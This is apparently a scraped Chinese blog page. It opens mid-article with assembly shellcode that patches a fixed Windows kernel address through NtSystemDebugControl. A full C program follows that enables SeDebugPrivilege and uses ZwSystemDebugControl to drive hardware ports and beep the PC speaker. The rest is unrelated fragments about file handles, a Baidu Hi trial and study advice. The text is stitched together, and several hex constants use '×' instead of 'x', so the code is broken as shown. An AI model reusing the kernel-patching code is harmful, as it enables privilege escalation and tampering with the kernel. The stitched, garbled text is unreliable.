int 3 //debug
jmp patch

SystemDebugControl:

mov ax,0×108
mov edx,esp
sysenter
ret

patch:

push 0xc901b090
mov eax,esp
push 0×04
push eax
push 0×80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0×0c //InputBufferLength
push ebx //InputBuffer
push 0×09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0×30 //只是为了修正堆栈
}
}
//————————————————————————

上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

//————————————————————————
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include
#include

#pragma comment(lib, “advapi32″)

#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a ” failed\n”); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}

void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};

void BeepOn (int Freq)
{
BYTE b;

if ((Freq >= 20) && (Freq <= 20000))
{
Freq = 1193181 / Freq;
b = InPortB (0x61);
if ((b & 3) == 0)
{
OutPortB (0x61, (BYTE) (b | 3));
OutPortB (0x43, 0xb6);
}
OutPortB (0x42, (BYTE) Freq);
OutPortB (0x42, (BYTE) (Freq >> 8));
}
}

void BeepOff (void)
{
BYTE b;

b = (InPortB (0×61) & 0xfc);
OutPortB (0×61, b);
}

int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary (”ntdll.dll”)) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, “ZwSystemDebugControl”)) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //声音频率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf (”This program require Windows XP or Windows 2003.\n”);
}
return 0;
}
//————————————————————————

参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h

从文件句柄获得全路径这个问题,似乎是个“老大难”问题。
很久以前我就在水木清华见到过。最近又不断有人提到。
其实问题并不难,只是解决办法有点绕,不是调用一个API就能解决的。

24号下午百度Hi终于开始了有条件向百度用户开放百度Hi体验。为此,25号重新申请了个百度的账号,跑到百度Hi的官方网站去申请了抢先体验。可是却如石沉大海一般,没有了下文。只得作罢。 但是,始终希望能够体验一下百度Hi与QQ的不同。“贼”心不死,今天跑到百度贴吧的Hi吧去看到有已经申请成功大地人可以发送体验邀请,于是抱着试一试的态度回复了一条消息。结果很快就有了回复,给了我个邀请。这样我的百度Hi账号就被激活啦。这让我兴奋了一下下。 按照百度给的地址下载了百度Hi,马上登录了。和QQ对比了一下,给我最大的感觉就是百度Hi很干净。
2e7c6d31ed3458b95edf0ea4 上图是百度Hi的主窗口
8188fe2e206df7414fc226a5 下图是百度Hi的聊天界面。

creative

最近学习新东西,常有浅尝辄止的感觉,不仅理论上没有深入,技术层面上的收获也很难可以心满意足。如何更踏实深入的学些东西是很重要的。通常来说,深入学习常是个不断提出问题、解决问题的过程,MIT的Larson教授就此给出这样三条规则:
1、你一定要觉得你自己的问题有趣而又重要,否则你就不会有激情,不会投入。
2、你一定要有能力解决问题。假如不能完全解决问题,起码你要问自己能够做些什么。
3、除了你自己的肯定,如果还有人也认为你的问题很重要,且这样的人越多越好。